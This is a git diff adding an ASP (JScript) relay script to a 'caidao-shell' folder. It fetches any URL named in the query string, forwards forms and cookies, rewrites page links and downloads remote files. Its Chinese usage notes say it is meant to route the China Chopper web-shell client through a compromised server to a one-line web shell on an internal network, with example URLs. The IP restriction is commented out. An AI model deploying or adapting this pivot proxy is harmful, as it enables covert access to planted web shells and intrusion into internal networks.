diff --git a/caidao-shell/redirect.asp b/caidao-shell/redirect.asp new file mode 100644 index 0000000..7c9f781 --- /dev/null +++ b/caidao-shell/redirect.asp @@ -0,0 +1,294 @@ +<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%> +<%Response.Charset = "utf-8"%> +<%Server.ScriptTimeout=5000%> +<% +Server.ScriptTimeout=10; +//var ip=String(Request.ServerVariables("REMOTE_ADDR")); +//if (ip.substr(0,6)!="10.153"){ Response.Write("Error!Your ip ["+ip+"] is not allowed!!");Response.End();} + var Surl = String(Request.QueryString("url")); +var Stxt = String(Request.QueryString("txt")); +var Stype = String(Request.QueryString("type")); +var Scst = String(Request.QueryString("cst")); +var Scm = String(Request.QueryString("cm")); +var Scf = String(Request.QueryString("cf")); +var enableCookie = (Scf.charAt(0) == "2"); +var enableForm = (Scf.charAt(1) == "2"); +if(Stxt != "1" && Stxt != "2") Stxt = "0"; +if(Stype != "0" && Stype != "2" && Stype != "3" && Stype != "4") Stype = "1"; +if(Scst == "undefined") Scst = "gb2312"; +if(Scm != "1" && Scm != "2") Scm = "0"; +if(Scf != "11" && Scf != "22" && Scf != "21") Scf = "12"; +if(Surl == "undefined" || Surl == ""){ + Response.AddHeader("Cookie",""); +%> + + + +xynu-Normal University + + +
+
+ Normal      + Baidu      + Google
+
+ Download       +   

+ Options +
Forms And Cookie: + Allow Submitting Forms + Enabled Cookies
Update url: + Thoroughly + All + Except Links + Only Scripts And Styles + Never
url Fuzzy Judgment: + Auto + Always + Never
+
+
By Me 2012-4-8.
+ + +<% +} +else{ +Surl = String(Request.QueryString).match(/url=(.*)$/)[1]; +if (Surl.indexOf("?")==-1 && Surl.indexOf("&")!=-1){ + Surl=Surl.substr(Surl.indexOf("&")+1); + if (Scst.match(/^gb/i)!=null){ + Response.CodePage = 936; + var Surl = Surl.replace(/%E\w%\w\w%\w\w/ig,ConvChinese); + Response.CodePage = 65001; + } + Surl = String(Request.QueryString("url")) +"?"+ Surl; +} +Surl = (Surl.substr(0,7) != "http://") ? "http://"+Surl : Surl; +if(Stxt == "0"){ + var preurl = Surl.replace(/[?#].*/,""); + var t = preurl.lastIndexOf("/"); + preurl = preurl.substr(t+1); + if (t > 6 && preurl.indexOf(".") > -1 && preurl.match(/\.(\S?htm|asp|php|jsp|cgi|wml)/i)==null) Stxt = "2"; + } +if(Stxt == "2") getRemoteFile() +else Response.Write(send_request()); +} +function ConvChinese(x){ + var A=x.split("%"); + var i,j,DigS,Conv=""; + for (i=1;i<=3;i++) + A=parseInt(A,16).toString(2); + for (i=1;i<=3;i++){ + DigS=A.indexOf("0")+1; + var Unicode=""; + for (j=1;j]+)/)[1]; + var init=x+'\n\n'; + init +='\n\n'; + init +='\n\n'; + return init; +} +function send_request() { + var codedtext,http_request; + var Cookie = String("" + Response.Cookies); + try{ + if (enableForm && (String(Request.Form)!="undefined")){ + if (Scst.match(/^gb/i)!=null){ + Response.CodePage = 936; + var Formdata = String(Request.Form).replace(/%E\w%\w\w%\w\w/ig,ConvChinese); + Response.CodePage = 65001; + } else { + var Formdata = String(Request.Form); + } + http_request = Server.CreateObject("MSXML2.XMLHTTP"); + http_request.Open("POST",Surl,false); + if (enableCookie && (Cookie != "")){ + http_request.setRequestHeader("Referer",String(Request.QueryString("parent"))); + http_request.setRequestHeader("Cookie",Cookie); + } + http_request.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded"); + http_request.Send(Formdata); + } else { + http_request = Server.CreateObject("Microsoft.XMLHTTP"); + http_request.Open("GET",Surl,false); + if (enableCookie && (Cookie != "")){ + http_request.setRequestHeader("Referer",String(Request.QueryString("parent"))); + http_request.setRequestHeader("Cookie",Cookie); + } + http_request.Send(null); + } + } + catch(e) + { + Response.Write("Error!" + e.description); + Response.Write("
重新输入 后退 "); + Response.Write("刷新 关闭窗口"); + Response.End(); + } + if (http_request.ReadyState == 4){ + + //自动判断编码开始 + var charresult = http_request.ResponseText.match(/["';\s]CharSet\s*=\s*(\S+?)["';>\s]/i); + if (charresult != null){ + var Cset = charresult[1]; + Scst = Cset; + }else{Cset = Scst} + //自动判断编码结束 + codedtext = bytesToBSTR(http_request.Responsebody,Cset); + Response.AddHeader("Cookie",http_request.getResponseHeader( "Set-Cookie" )); + if(Stype < 4){ + var baseurl = codedtext.match(/]+href\s*=\s*(["']?)(http:\/\/[^"'\s]+?)\1[^>]*>/i); + if(baseurl != null) Surl = baseurl[2]; + codedtext = codedtext.replace(/]*>/i,""); + var preurl = String(Request.QueryString("parent")); + var preurl_1 = preurl_2 = (preurl == "undefined" || preurl == "") ? Surl.replace(/[?#].*/,"") : preurl; + var t = preurl_2.lastIndexOf("/"); + if(Scm !="1" && t != 6){ + if(Scm =="2" || preurl_2.substr(t).indexOf(".") != -1){ + preurl_2 = preurl_2.substr(0,preurl_2.lastIndexOf("/")); + } + if(preurl_2.charAt(preurl_2.length-1) == "/"){ + preurl_2 = preurl_2.substr(0,preurl_2.length-1); + } + } + +// codedtext = codedtext.replace(/%(\w\w)%/ig,"%25$1%25"); +// codedtext = codedtext.replace(/([^&])&(?=[a-z])/ig,"$1%26"); +// codedtext = codedtext.replace(/%26(copy|quot|amp|lt|gt|nbsp|raquo|laquo)/ig,"&$1"); + + if(Stype == 3){ + codedtext = codedtext.replace(/(<(?:link|script)\s[^>]*(?:href|src))\s*=\s*(?=[^'"\s])/ig,"$1=@"); + //codedtext = codedtext.replace(/(<(?:link|script)\s+[^>]*(?:href|src)\s*=\s*['"@])\?/ig,"$1"+preurl_1+"?"); + codedtext = codedtext.replace(/(<(?:link|script)\s[^>]*(?:href|src)\s*=\s*['"@])\/?(?!http:\/{2})/ig,"$1"+preurl_2+"/"); + codedtext = codedtext.replace(/(<(?:link|script)\s[^>]*(?:href|src)\s*=\s*['"@])/ig,"$1?cst="+Scst+"&type=4&txt=1&url="); + codedtext = codedtext.replace(/(href|src)\s*=\s*@/ig,"$1="); + } else { + codedtext = codedtext.replace(/(<(?!a\s)[^>]*[\s"';](?:href|src|location|url|background))\s*=\s*(?=[^'"\s])/ig,"$1=@"); + codedtext = codedtext.replace(/(<(?!a\s)[^>]*[\s"';](?:href|src|location|url|background)\s*=\s*['"@])\?/ig,"$1"+preurl_1+"?"); + codedtext = codedtext.replace(/(<(?!a\s)[^>]*[\s"';](?:href|src|location|url|background)\s*=\s*['"@])\/?(?!#|mailto:|javascript:|http:\/{2})/ig,"$1"+preurl_2+"/"); + + codedtext = codedtext.replace(/(]*href\s*=\s*['"@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&type=4&txt=1&url="); + codedtext = codedtext.replace(/(]*src\s*=\s*['"@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&txt=1&cm="+Scm+"&type="+(Stype==0?"0&parent="+preurl_1:"4")+"&url="); + codedtext = codedtext.replace(/(<(?:frame|iframe)\s[^>]*(?:href|src)\s*=\s*['"@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&type="+Stype+"&txt=1&cm="+Scm+"&cf="+Scf+"&url="); + codedtext = codedtext.replace(/(<(?!link\s|a\s)[^>]*[\s"';](?:href|location|url)\s*=\s*['"@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&type="+Stype+"&txt=1&cm="+Scm+"&cf="+Scf+"&url="); + codedtext = codedtext.replace(/(<(?:img|input|embed)\s[^>]*src\s*=\s*['"@])(?=http:\/{2})/ig,"$1?txt=2&url="); + codedtext = codedtext.replace(/(<(?!a\s)[^>]*[\s"';]background\s*=\s*['"@])(?=http:\/{2})/ig,"$1?txt=2&url="); + codedtext = codedtext.replace(/(<(?!script\s|frame\s|iframe\s|img\s|input\s|embed\s)[^>]*[\s"';]src\s*=\s*['"@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&type="+Stype+"&cm="+Scm+"&url="); + + //img inner CSS + codedtext = codedtext.replace(/(background\s*:\s*url\()\/?(?!http:\/\/)/ig,"$1"+preurl_2+"/"); + codedtext = codedtext.replace(/(background\s*:\s*url\()/ig,"$1?txt=2&url="); + //the [端口,被屏蔽] flash + codedtext = codedtext.replace(/(]*href)\s*=\s*(?=[^'"\s])/ig,"$1=@"); + codedtext = codedtext.replace(/(]*href\s*=\s*['"@])\?/ig,"$1"+preurl_1+"?"); + codedtext = codedtext.replace(/(]*href\s*=\s*['"@])\/?(?!#|mailto:|javascript:|http:\/{2})/ig,"$1"+preurl_2+"/"); + codedtext = codedtext.replace(/(]*href\s*=\s*['"@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&type="+Stype+"&cm="+Scm+"&cf="+Scf+"&url="); + + if(enableForm){ + codedtext = codedtext.replace(/(]*?action)\s*=\s*(?=[^'"\s])/ig,"$1=@"); + codedtext = codedtext.replace(/(]*?action\s*=\s*['"@])\?/ig,"$1"+preurl_1+"?"); + codedtext = codedtext.replace(/(]*?action\s*=\s*['"@])\/?(?!#|mailto:|javascript:|http:\/{2})/ig,"$1"+preurl_2+"/"); + codedtext = codedtext.replace(/(]*?action\s*=\s*['"@])(?=http:\/{2})/ig,"$1?cst="+Scst+"&type="+Stype+"&cm="+Scm+"&cf="+Scf+"&parent="+preurl_1+"&url="); + codedtext = codedtext.replace(/]+method\s*=\s*(["']?)get\1[^>]*>/ig,Formmethodget); + } + } + codedtext = codedtext.replace(/(href|action|src|value|location|url|background)\s*=\s*@/ig,"$1="); + while(codedtext.match(/\/[^\/\.]+\/\.\.\//)!=null) codedtext = codedtext.replace(/\/[^\/\.]+\/\.\.\//, "/"); + } + } + }else{ + codedtext = "Error!"; + codedtext += "重新输入 后退 "; + codedtext += "刷新 关闭窗口" + } + + return(codedtext); +} +function bytesToBSTR(body,Cset){ + var objstream; + objstream = Server.CreateObject("Adodb.Stream"); + objstream.Type = 1; + objstream.Mode = 3; + objstream.Open(); + objstream.Write(body); + objstream.Position = 0; + objstream.Type = 2; + objstream.Charset = Cset; + bytesToBSTR = objstream.Readtext; + objstream.Close; + return(bytesToBSTR); +} +function getRemoteFile(){ + var Retrieval; + Retrieval = Server.CreateObject("Microsoft.XMLHTTP"); + try{ + Retrieval.Open("GET",Surl,false); + Retrieval.Send(null); + } + catch(e) + { + Response.Write("Error!" + e.description); + Response.Write("
重新输入 后退 "); + Response.Write("刷新 关闭窗口"); + Response.End(); + } + if (Retrieval.ReadyState == 4){ + var preurl = Surl.replace(/[?#].*/,""); + var t = preurl.lastIndexOf("/"); + preurl = preurl.substr(t+1); + if (t == 6 || preurl.indexOf(".") == -1) preurl = "default.htm"; + Response.AddHeader("Content-Disposition","attachment; filename="+preurl); + Response.ContentType = "application/octet-stream"; + Response.BinaryWrite(Retrieval.Responsebody); + Retrieval.Close; + } else { + Response.Write("Error!重新输入 后退 "); + Response.Write("刷新 关闭窗口"); + } +} +%> +使用方法：（http://www.bbb.com/shell.asp 为内网中的一句话） + +http://www.aaa.com/p.asp?txt=1&type=1&cm=0&cf=12&url=http://www.bbb.com/shell.asp + +http://www.aaa.com/p.asp 为此中转程序。 + +菜刀的其它配置不需要修改。 \ No newline at end of file